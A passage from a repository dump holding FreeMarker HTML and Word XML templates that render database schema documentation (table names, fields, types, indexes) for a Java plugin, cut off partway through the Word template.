onclick=\"toTable(${tableInfo_index})\">${tableInfo_index+1}. ${tableInfo.tableName}\n\t\t\t\t\t\t\t\t\t<#if tableInfo.tableRemark?default(\"\")?trim?length gt 1>\n\t\t\t\t\t\t\t\t\t(${tableInfo.tableRemark})\n\t\t\t\t\t\t\t\t\t</#if>\n\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t</#list>\n\t\t\t\t\t</div>\n\n\t\t\t\t</div>\n\t\t\t\n\t\t</div>\n\t\t\n\t\t<!--/目录-->\n\t\t<!--表-->\n\t\t<#list tableInfos as tableInfo>\n\t\t<div id=\"db-table-${tableInfo_index}\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:${tableInfo.tableName}</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:${tableInfo.tableRemark}</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<#list tableInfo.fields as field>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>${field.field}</td>\n\t\t\t\t\t\t<td>${field.type}</td>\n\t\t\t\t\t\t<td>${field.remark}</td>\n\t\t\t\t\t\t<td>${field.key}</td>\n\t\t\t\t\t\t<td>${field.nullAble}</td>\n\t\t\t\t\t\t<td>${field.defaultValue}</td>\n\t\t\t\t\t\t<td>${field.extra}</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t</#list>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<#list tableInfo.keys as key>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>${key.name}</td>\n\t\t\t\t\t\t<td>${key.getColumnCombine()}</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<#if key.unique>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t\t\t<#else>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t\t</#if>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>${key.indexType}</td>\n\t\t\t\t\t\t<td>${key.indexComment}</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t</#list>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t</#list>\n\t\t<!-- /表 -->\n\n\t\t<script type=\"text/javascript\">\n\t\t\t\n\t\t\t\n\t\t\tfunction toTable(id){\n\t\t\t\t$(\".db-table\").hide();\n\t\t\t\t$(\".db-index\").hide();\n\t\t\t\t$(\"#db-table-\"+id).show();\n\t\t\t\ttoTop();\n\t\t\t}\n\t\t\t\n\t\t\tfunction toIndex(){\n\t\t\t\t$(\".db-table\").hide();\n\t\t\t\t$(\".db-index\").show();\n\t\t\t\ttoTop();\n\t\t\t}\n\t\t\t\n\t\t\tfunction toTop(){\n\t\t\t\tlocation.href = \"#top\";\n\t\t\t}\n\t\t\t\n\t\t</script>\n\n\t</body>\n\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/resources/htmlTemplate2.html",
    "content": "<!DOCTYPE html>\n<html>\n\n\t<head>\n\t\t<!-- Standard Meta -->\n\t\t<meta charset=\"utf-8\" />\n\t\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0\">\n\t\t<!-- Site Properties -->\n\t\t<title>${databaseName}</title>\n\t\t<link href=\"https://cdn.bootcss.com/semantic-ui/2.3.0/semantic.min.css\" rel=\"stylesheet\">\n\t\t<script src=\"https://cdn.bootcss.com/jquery/2.1.4/jquery.min.js\"></script>\n\t\t<script src=\"https://cdn.bootcss.com/semantic-ui/2.3.0/semantic.min.js\"></script>\n\t\t<!-- Content JS HERE !-->\n\t\t<style>\n\t\t\t.last.container {\n\t\t\t\tmargin-bottom: 300px !important;\n\t\t\t}\n\t\t\t\n\t\t\th1.ui.center.header {\n\t\t\t\tmargin-top: 3em;\n\t\t\t}\n\t\t\t\n\t\t\th2.ui.center.header {\n\t\t\t\tmargin: 4em 0em 2em;\n\t\t\t}\n\t\t\t\n\t\t\th3.ui.center.header {\n\t\t\t\tmargin-top: 2em;\n\t\t\t\tpadding: 2em 0em;\n\t\t\t}\n\t\t\t.hide{\n\t\t\t\tdisplay: none;\n\t\t\t}\n\t\t</style>\n\t</head>\n\n\t<body>\n\t\t<!-- 目录 -->\n\t\t<div class=\"ui sidebar fixed vertical menu\">\n\t\t\t<#list tableInfos as tableInfo>\n\t\t\t\t<div class=\"item menu-table-index\" data-table-index=\"${tableInfo_index}\">\n\t\t\t\t\t<a>\n\t\t\t\t\t\t${tableInfo_index+1}. ${tableInfo.tableName}\n\t\t\t\t\t</a>\n\t\t\t\t\t<div>\n\t\t\t\t\t\t<b>\n\t\t\t\t\t\t\t<#if tableInfo.tableRemark?default(\"\")?trim?length gt 1>\n\t\t\t\t\t\t\t\t(${tableInfo.tableRemark})\n\t\t\t\t\t\t\t</#if>\n\t\t\t\t\t\t</b>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</#list>\n\n\t\t</div>\n\t\t<!--/目录-->\n\n\t\t<div class=\"pusher\">\n\t\t\t<div class=\"ui launch right fixed button menu-toggle\" style=\"position: fixed\">\n\t\t\t\t<i class=\"content icon \"></i>\n\t\t\t</div>\n\t\t\t<h1 id=\"top\" class=\"ui center aligned header \">数据库名称：${databaseName}</h1>\n\t\t\t<!--表-->\n\t\t\t<#list tableInfos as tableInfo>\n\t\t\t<div id=\"db-table-${tableInfo_index}\" class=\"ui container last db-table \">\n\t\t\t\t<h1 class=\"ui center aligned header\">表名:${tableInfo.tableName}</h3>\n\t\t\t\t<h3 class=\"ui center aligned \">注释:${tableInfo.tableRemark}</h3>\n\t\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t\t<thead>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</thead>\n\t\t\t\t\t<tbody>\n\t\t\t\t\t\t<#list tableInfo.fields as field>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td>${field.field}</td>\n\t\t\t\t\t\t\t<td>${field.type}</td>\n\t\t\t\t\t\t\t<td>${field.remark}</td>\n\t\t\t\t\t\t\t<td>${field.key}</td>\n\t\t\t\t\t\t\t<td>${field.nullAble}</td>\n\t\t\t\t\t\t\t<td>${field.defaultValue}</td>\n\t\t\t\t\t\t\t<td>${field.extra}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</#list>\n\t\t\t\t\t</tbody>\n\n\t\t\t\t</table>\n\n\t\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t\t<thead>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</thead>\n\t\t\t\t\t<tbody>\n\t\t\t\t\t\t<#list tableInfo.keys as key>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td>${key.name}</td>\n\t\t\t\t\t\t\t<td>${key.getColumnCombine()}</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<#if key.unique>\n\t\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t\t\t\t<#else>\n\t\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t\t\t</#if>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>${key.indexType}</td>\n\t\t\t\t\t\t\t<td>${key.indexComment}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</#list>\n\t\t\t\t\t</tbody>\n\n\t\t\t\t</table>\n\t\t\t</div>\n\t\t\t</#list>\n\t\t\t<!-- /表 -->\n\t\t</div>\n\n\t\t<script type=\"text/javascript\">\n            $(function(){\n                $('.ui.sidebar').sidebar({\n\n                });\n\n                $(\".menu-toggle\").click(function(){\n                    $('.ui.sidebar').sidebar(\"toggle\");\n\t\t\t\t});\n\n                $(\".menu-table-index\").click(function(){\n                    var $this = $(this);\n                    var tableIndex = $this.data(\"table-index\");\n                    location.href = \"#db-table-\"+tableIndex;\n                    $('.ui.sidebar').sidebar(\"toggle\");\n\t\t\t\t});\n            })\n\n\t\t\t\n\n\t\t\t\n\t\t</script>\n\n\t</body>\n\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/resources/wordTemplate.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<?mso-application progid=\"Word.Document\"?>\n<pkg:package xmlns:pkg=\"http://schemas.microsoft.com/office/2006/xmlPackage\">\n\t<pkg:part pkg:name=\"/_rels/.rels\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-package.relationships+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<Relationships\n\t\t\t\txmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n\t\t\t\t<Relationship Id=\"rId4\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\"\n\t\t\t\t\tTarget=\"word/document.xml\" />\n\t\t\t\t<Relationship Id=\"rId2\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties\"\n\t\t\t\t\tTarget=\"docProps/core.xml\" />\n\t\t\t\t<Relationship Id=\"rId1\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties\"\n\t\t\t\t\tTarget=\"docProps/app.xml\" />\n\t\t\t\t<Relationship Id=\"rId3\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom-properties\"\n\t\t\t\t\tTarget=\"docProps/custom.xml\" />\n\t\t\t</Relationships>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/word/_rels/document.xml.rels\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-package.relationships+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<Relationships\n\t\t\t\txmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n\t\t\t\t<Relationship Id=\"rId5\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable\"\n\t\t\t\t\tTarget=\"fontTable.xml\" />\n\t\t\t\t<Relationship Id=\"rId4\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXml\"\n\t\t\t\t\tTarget=\"../customXml/item1.xml\" />\n\t\t\t\t<Relationship Id=\"rId3\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme\"\n\t\t\t\t\tTarget=\"theme/theme1.xml\" />\n\t\t\t\t<Relationship Id=\"rId2\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings\"\n\t\t\t\t\tTarget=\"settings.xml\" />\n\t\t\t\t<Relationship Id=\"rId1\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles\"\n\t\t\t\t\tTarget=\"styles.xml\" />\n\t\t\t</Relationships>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/word/document.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<w:document\n\t\t\t\txmlns:wpc=\"http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas\"\n\t\t\t\txmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\n\t\t\t\txmlns:o=\"urn:schemas-microsoft-com:office:office\"\n\t\t\t\txmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n\t\t\t\txmlns:m=\"http://schemas.openxmlformats.org/officeDocument/2006/math\"\n\t\t\t\txmlns:v=\"urn:schemas-microsoft-com:vml\"\n\t\t\t\txmlns:wp14=\"http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing\"\n\t\t\t\txmlns:wp=\"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing\"\n\t\t\t\txmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"\n\t\t\t\txmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\"\n\t\t\t\txmlns:w10=\"urn:schemas-microsoft-com:office:word\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\"\n\t\t\t\txmlns:wpg=\"http://schemas.microsoft.com/office/word/2010/wordprocessingGroup\"\n\t\t\t\txmlns:wpi=\"http://schemas.microsoft.com/office/word/2010/wordprocessingInk\"\n\t\t\t\txmlns:wne=\"http://schemas.microsoft.com/office/word/2006/wordml\"\n\t\t\t\txmlns:wps=\"http://schemas.microsoft.com/office/word/2010/wordprocessingShape\"\n\t\t\t\txmlns:wpsCustomData=\"http://www.wps.cn/officeDocument/2013/wpsCustomData\"\n\t\t\t\tmc:Ignorable=\"w14 w15 wp14\">\n\t\t\t\t<w:body>\n\t\t\t\t\t<w:p>\n\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t<w:pStyle w:val=\"2\" />\n\t\t\t\t\t\t\t<w:jc w:val=\"center\" />\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t<w:bookmarkStart w:id=\"0\" w:name=\"_Toc31102\" />\n\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t<w:t>${databaseName}</w:t>\n\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t<w:bookmarkEnd w:id=\"0\" />\n\t\t\t\t\t</w:p>\n\t\t\t\t\t<w:p>\n\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t</w:p>\n\t\t\t\t\t<w:p>\n\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t</w:p>\n\t\t\t\t\t<#list tableInfos as tableInfo>\n\t\t\t\t\t<w:p>\n\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t<w:t>数据表名：</w:t>\n\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t<w:t>${tableInfo.tableName}</w:t>\n\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t<w:t xml:space=\"preserve\"> 注释： </w:t>\n\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t<w:t>${tableInfo.tableRemark}</w:t>\n\t\t\t\t\t\t</w:r>\n\t\t\t\t\t</w:p>\n\t\t\t\t\t<w:tbl>\n\t\t\t\t\t\t<w:tblPr>\n\t\t\t\t\t\t\t<w:tblStyle w:val=\"5\" />\n\t\t\t\t\t\t\t<w:tblW w:w=\"8525\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t<w:tblInd w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t<w:tblBorders>\n\t\t\t\t\t\t\t\t<w:top w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t<w:left w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t<w:bottom w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t<w:right w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t<w:insideH w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t<w:insideV w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t</w:tblBorders>\n\t\t\t\t\t\t\t<w:tblLayout w:type=\"fixed\" />\n\t\t\t\t\t\t\t<w:tblCellMar>\n\t\t\t\t\t\t\t\t<w:top w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t<w:left w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t<w:bottom w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t<w:right w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t</w:tblCellMar>\n\t\t\t\t\t\t</w:tblPr>\n\t\t\t\t\t\t<w:tblGrid>\n\t\t\t\t\t\t\t<w:gridCol w:w=\"961\" />\n\t\t\t\t\t\t\t<w:gridCol w:w=\"836\" />\n\t\t\t\t\t\t\t<w:gridCol w:w=\"1857\" />\n\t\t\t\t\t\t\t<w:gridCol w:w=\"1535\" />\n\t\t\t\t\t\t\t<w:gridCol w:w=\"1322\" />\n\t\t\t\t\t\t\t<w:gridCol w:w=\"1007\" />\n\t\t\t\t\t\t\t<w:gridCol w:w=\"1007\" />\n\t\t\t\t\t\t</w:tblGrid>\n\t\t\t\t\t\t<w:tr>\n\t\t\t\t\t\t\t<w:tblPrEx>\n\t\t\t\t\t\t\t\t<w:tblBorders>\n\t\t\t\t\t\t\t\t\t<w:top w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:left w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:bottom w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:right w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:insideH w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:insideV w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t</w:tblBorders>\n\t\t\t\t\t\t\t\t<w:tblLayout w:type=\"fixed\" />\n\t\t\t\t\t\t\t\t<w:tblCellMar>\n\t\t\t\t\t\t\t\t\t<w:top w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:left w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:bottom w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:right w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t</w:tblCellMar>\n\t\t\t\t\t\t\t</w:tblPrEx>\n\t\t\t\t\t\t\t<w:trPr>\n\t\t\t\t\t\t\t\t<w:trHeight w:val=\"283\" w:hRule=\"atLeast\" />\n\t\t\t\t\t\t\t</w:trPr>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"961\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:t>字段</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"836\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:t>类型</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1857\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:t>注释</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1535\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>键</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1322\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>能否为空</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1007\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>默认值</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1007\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" 